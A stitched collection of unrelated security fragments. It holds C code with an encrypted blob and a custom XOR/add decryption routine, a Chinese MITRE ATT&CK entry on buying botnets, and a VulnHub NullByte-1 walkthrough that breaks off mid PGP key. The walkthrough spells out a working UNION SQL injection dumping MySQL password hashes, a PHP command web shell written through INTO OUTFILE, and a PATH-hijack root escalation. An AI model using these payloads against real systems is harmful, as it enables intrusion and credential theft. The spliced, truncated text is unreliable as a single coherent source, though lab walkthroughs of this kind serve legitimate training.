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";
unsigned char key[] = {
0xA7, 0x14, 0x83, 0x18, 0xCB, 0x17, 0x8A, 0xE6, 0xC9, 0x9D, 0x15, 0xA6, 0x73, 0xAC, 0x34,
0x01, 0xA5, 0x9A, 0x96, 0x34, 0x1B, 0x49, 0xA7, 0xA6, 0x70, 0x11, 0x7A, 0xC8, 0x48, 0x9A, 0x03,
0xAB, 0x96, 0x41, 0xA1, 0x86, 0x53, 0xBA, 0xAE, 0x99, 0xB9, 0x11, 0x79, 0xC8, 0x00, 0x00, 0x00,
};
int randmod(unsigned int a1)
{
long long v1; // rax
seed = 214013 * seed + 2531011;
v1 = (unsigned int)(seed >> 16);
if ( a1 )
v1 = (unsigned int)v1 % a1;
return v1;
}
unsigned short weird_base(unsigned int a1)
{
unsigned int v1; // ebx
int v2; // ebx
unsigned int v3; // ebx
int v4; // ebx
int v5; // eax
int v6; // eax
int v8; // [esp+0h] [ebp-4h]
a1 &=0xff;
v1 = a1 & 0xF;
if ( a1 & 0xF )
{
if ( v1 > 9 )
{
if ( v1 > 0xA )
v2 = 16 * (2 * randmod(2u) + 4) + v1;
else
v2 = 16 * (randmod(4u) + 4) + v1;
}
else
{
v2 = 16 * (randmod(5u) + 3) + v1;
}
}
else
{
v2 = 16 * (2 * randmod(3u) + 3) + v1;
}
v8 = v2;
v3 = a1 >> 4;
if ( a1 >> 4 )
{
if ( v3 > 9 )
{
if ( v3 > 0xA )
v5 = 16 * (2 * randmod(2u) + 4);
else
v5 = 16 * (randmod(4u) + 4);
v4 = v5 + v3;
}
else
{
v4 = 16 * (randmod(5u) + 3) + v3;
}
}
else
{
v4 = 16 * (2 * randmod(3u) + 3);
}
v6 = v8 + (v4 << 8);
return v6&0xffff;
}
void encrypt(char* dest, unsigned char* src, int seedx, int sz) {
unsigned int* destptri = (unsigned int*)dest;
unsigned int* srcptri = (unsigned int*)src;
unsigned int* keyptri = (unsigned int*)key;
for (int i = 0; i < sz; i+=8) {
*destptri = *srcptri ^ *keyptri;
destptri++;
keyptri++;
srcptri++;
*destptri = *srcptri + *keyptri;
destptri++;
keyptri++;
srcptri++;
if (keyptri >= (unsigned int*)(key + 40)) {
keyptri = (unsigned int*) key;
}
}
seed = seedx;
short tab[10000];
for (int i = 0; i < sz; i++) {
printf("%02x\n", (unsigned int)dest[i]&0xff);
tab[i] = weird_base(dest[i]);
}
char* asd = (char*)tab;
for (int i=0; i<sz; i+=1) {
dest[2*i] = asd[2*i+1];
dest[2*i+1] = asd[2*i];
}
}
void decrypt(char* dst, unsigned char* src, int sz) {
for (int i=0; i<sz; i++) {
dst[i] = (src[2*i+1] & 0xf) | ((src[2*i] & 0xf) << 4);
}
unsigned int* dstptri = (unsigned int*)dst;
unsigned int* keyptri = (unsigned int*)key;
for (int i = 0; i < sz; i+=8) {
*dstptri = *dstptri ^ *keyptri;
dstptri++;
keyptri++;
*dstptri = *dstptri - *keyptri;
dstptri++;
keyptri++;
if (keyptri >= (unsigned int*)(key + 40)) {
keyptri = (unsigned int*) key;
}
}
}
unsigned char magic[8] = {0xD0, 0xCF, 0x11, 0xE0, 0xA1, 0xB1, 0x1A, 0xE1};
char dest[8000000];
int main() {
printf("%zu\n", sizeof(chars));
decrypt(dest, chars, sizeof(chars)/2);
for(unsigned int i=0; i<sizeof(chars)/2; i++) {
printf("%02x", (unsigned int)dest[i]&0xff);
}
printf("\n");
}
|
sec-knowleage
|
# T1583-005-购买基础设施-僵尸网络
## 来自ATT&CK的描述
攻击者可以购买、租赁或租用一个由被破坏的系统组成的网络，以便在攻击目标过程中使用。僵尸网络是一个由被攻击的系统组成的网络，可以执行下发的任务。攻击者可以从压力测试服务中购买一个现有的僵尸网络。有了僵尸网络，攻击者可以进行后续活动，如大规模网络钓鱼或分布式拒绝服务（DDoS）。
## 测试案例
僵尸网络 Botnet 是指采用一种或多种传播手段，将大量主机感染bot程序（僵尸程序）病毒，从而在控制者和被感染主机之间所形成的一个可一对多控制的网络。
攻击者通过各种途径传播僵尸程序感染互联网上的大量主机，而被感染的主机将通过一个控制信道接收攻击者的指令，组成一个僵尸网络。之所以用僵尸网络这个名字，是为了更形象地让人们认识到这类危害的特点：众多的计算机在不知不觉中如同中国古老传说中的僵尸群一样被人驱赶和指挥着，成为被人利用的一种工具。
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
### 缓解措施
这种技术不容易用预防控制来缓解，因为它是基于企业防御和控制范围之外的行为。
### 检测
这种活动大多发生在目标组织（受害者）的能见度之外，使得检测这种行为变得困难。检测工作可能集中在攻击生命周期的相关阶段，例如在网络钓鱼、端点拒绝服务或网络拒绝服务期间。
## 参考推荐
MITRE-ATT&CK-T1583-005
<https://attack.mitre.org/techniques/T1583/005/>
|
sec-knowleage
|
#NullByte-1 Workthrough#
Scan internal network for target ip address. Finally, we find nullbyte ip address - 192.168.10.32.
## Scan Open Ports ##
```
┌─[lab@core]─[/tmp]
└──╼ nmap -v -n -A -p- 192.168.10.32
Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-28 04:32 UTC
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 04:32
Scanning 192.168.10.32 [2 ports]
Completed Ping Scan at 04:32, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 04:32
Scanning 192.168.10.32 [65535 ports]
Discovered open port 80/tcp on 192.168.10.32
Discovered open port 111/tcp on 192.168.10.32
Discovered open port 42151/tcp on 192.168.10.32
Discovered open port 777/tcp on 192.168.10.32
Completed Connect Scan at 04:32, 4.18s elapsed (65535 total ports)
Initiating Service scan at 04:32
Scanning 4 services on 192.168.10.32
Completed Service scan at 04:32, 11.01s elapsed (4 services on 1 host)
NSE: Script scanning 192.168.10.32.
Initiating NSE at 04:32
Completed NSE at 04:32, 0.17s elapsed
Nmap scan report for 192.168.10.32
Host is up (0.016s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-methods: GET HEAD POST OPTIONS
|_http-title: Null Byte 00 - level 1
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 42151/tcp status
|_ 100024 1 60595/udp status
777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
42151/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.38 seconds
```
## Vuln Analysis ##
```
| Port | Ptotocol | Description |
|:-------|:-----------|:---------------------------------------|
| 80 | tcp | Apache httpd 2.4.10 (Debian) |
| 111 | tcp | rpcbind |
| 777 | tcp | OpenSSH 6.7p1 Debian 5 (protocol 2.0) |
| 42151 | tcp | Status |
```
### HTTP ###
Access http://192.168.10.32:80/, we can view a picture and a message. "If you search for the laws of harmony, you will find knowledge."
1. **Scan web directory**
```
┌─[lab@core]─[/tmp]
└──╼ python wfuzz.py -c -z file,/opt/fuzzdb/discovery/web-dir-list.txt --hc 404 http://192.168.10.32/FUZZ/
********************************************************
* Wfuzz 2.1.3 - The Web Bruteforcer *
********************************************************
Target: http://192.168.10.32/FUZZ/
Total requests: 3932
==================================================================
ID Response Lines Word Chars Request
==================================================================
01576: C=403 11 L 32 W 298 Ch ".htaccess"
01689: C=403 11 L 32 W 294 Ch "icons"
01775: C=403 11 L 32 W 299 Ch "javascript"
02526: C=200 24 L 324 W 9115 Ch "phpmyadmin"
02747: C=403 11 L 32 W 298 Ch ".htpasswd"
02922: C=403 11 L 32 W 302 Ch "server-status"
03496: C=200 6 L 11 W 113 Ch "uploads"
Total time: 9.983371
Processed Requests: 3932
Filtered Requests: 3925
Requests/sec.: 393.8549
```
try to access [phpmyadmin](http://192.168.10.32/phpmyadmin/) and [uploads](http://192.168.10.32/uploads/). Brute forece phpmyadmin with patator, but no result.
2. **Analysis Picture**
We need more, and download http://192.168.10.32/main.gif. Analysis it with exiftool, we can see:
```
┌─[lab@core]─[/tmp]
└──╼ exiftool main.gif
ExifTool Version Number : 10.00
File Name : main.gif
Directory : .
File Size : 16 kB
File Modification Date/Time : 2015:08:27 14:48:11+00:00
File Access Date/Time : 2015:08:28 04:48:12+00:00
File Inode Change Date/Time : 2015:08:28 04:48:12+00:00
File Permissions : rw-r--r--
File Type : GIF
File Type Extension : gif
MIME Type : image/gif
GIF Version : 89a
Image Width : 235
Image Height : 302
Has Color Map : No
Color Resolution Depth : 8
Bits Per Pixel : 1
Background Color : 0
Comment : url -> S0tLMG9hc3F3YXc=
Image Size : 235x302
Megapixels : 0.071
```
Woo, url is here.
```
┌─[lab@core]─[/tmp]
└──╼ printf S0tLMG9hc3F3YXc= | base64 -d
KKK0oasqwaw
```
open http://192.168.10.32/KKK0oasqwaw/, messages as follow:
```
Notices:
If you can understood the string, you can be to the next level.
It may be a name, a password , a url or something else.
-------------------------------------------------------------------------------------------------------------------------------------
MmUyZTJlMmUyMDJlMmUyZTJlMmQyMDJlMmQyZTIwMmQyZTJlMjAyZTJkMmQyMDJkMmQyZDJkMmQyMDJlMmQyZTIwMmQyZTJkMjA=
```
decode the string, we can get:
```
┌─[lab@core]─[/tmp]
└──╼ printf MmUyZTJlMmUyMDJlMmUyZTJlMmQyMDJlMmQyZTIwMmQyZTJlMjAyZTJkMmQyMDJkMmQyZDJkMmQyMDJlMmQyZTIwMmQyZTJkMjA= | base64 -d
2e2e2e2e202e2e2e2e2d202e2d2e202d2e2e202e2d2d202d2d2d2d2d202e2d2e202d2e2d20
┌─[lab@core]─[/tmp]
└──╼ printf MmUyZTJlMmUyMDJlMmUyZTJlMmQyMDJlMmQyZTIwMmQyZTJlMjAyZTJkMmQyMDJkMmQyZDJkMmQyMDJlMmQyZTIwMmQyZTJkMjA= | base64 -d | unhex
.... ....- .-. -.. .-- ----- .-. -.-
```
This is "Morse code". Decode it and get string "h4rdw0rk". What's the meaning ?
- "It may be a name, a password , a url or something else."
we find url "http://192.168.10.32/KKK0oasqwaw/h4rdw0rk.php", enter "password". The page shows us "invalid key".
3. **Crack HTTP Form**
Choose your favorite tool to crack, For example: Burpsuite / Hydra.
The password is "password1".
If password is correct, page shows "Enter username".
4. **SQL Injection**
Enter username "'",
```
http://192.168.10.32/KKK0oasqwaw/888search.php?usrtosearch='
```
Fetched data successfully
Enter username '"',
```
http://192.168.10.32/KKK0oasqwaw/888search.php?usrtosearch="
```
Error Message:
**Could not get data: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%"' at line 1**
Finally, we can get mysql root user as follow:
```
http://192.168.10.32/KKK0oasqwaw/888search.php?usrtosearch=" union select 1,2,concat(user, 0x7c, password) from mysql.user-- #
```
we get username and password hash,
```
EMP ID :1
EMP NAME : ramses
EMP POSITION :
--------------------------------
EMP ID :2
EMP NAME : isis
EMP POSITION : employee
--------------------------------
EMP ID :1
EMP NAME : 2
EMP POSITION : root|*18DC78FB0C441444482C7D1132C7A23D705DAFA7
--------------------------------
EMP ID :1
EMP NAME : 2
EMP POSITION : debian-sys-maint|*BD9EDF51931EC5408154EBBB88AA01DA22B8A8DC
--------------------------------
EMP ID :1
EMP NAME : 2
EMP POSITION : phpmyadmin|*18DC78FB0C441444482C7D1132C7A23D705DAFA7
--------------------------------
Fetched data successfully
```
crack the hash on site [hashkiller](http://www.hashkiller.co.uk/).
```
root:sunnyvale
```
5. **Upload Backdoors**
login phpmyadmin with "root:sunnyvale", upload your php backdoor to uploads (/var/www/html/uploads) with sql query:
```
select "<?php phpinfo();?>" into outfile "/var/www/html/uploads/phpinfo.php";
select "<?php system($_GET[cmd]);?>" into outfile "/var/www/html/uploads/cmd.php"
```
Get os shell with msf
```
www-data@NullByte:/var/www/backup$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@NullByte:/var/www/backup$ PATH="/var/www/backup:$PATH"
www-data@NullByte:/var/www/backup$ echo $PATH
/var/www/backup:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@NullByte:/var/www/backup$ ln -s /bin/sh ps
www-data@NullByte:/var/www/backup$ ./procwatch
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# cd /root
# ls -l
total 4
-rw-r--r-- 1 root root 1170 Aug 2 01:45 proof.txt
# cat proof.txt
adf11c7a9e6523e630aaf3b9b7acb51d
It seems that you have pwned the box, congrats.
Now you done that I wanna talk with you. Write a walk & mail at
xly0n@sigaint.org attach the walk and proof.txt
If sigaint.org is down you may mail at nbsly0n@gmail.com
USE THIS PGP PUBLIC KEY
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0
mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
+z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
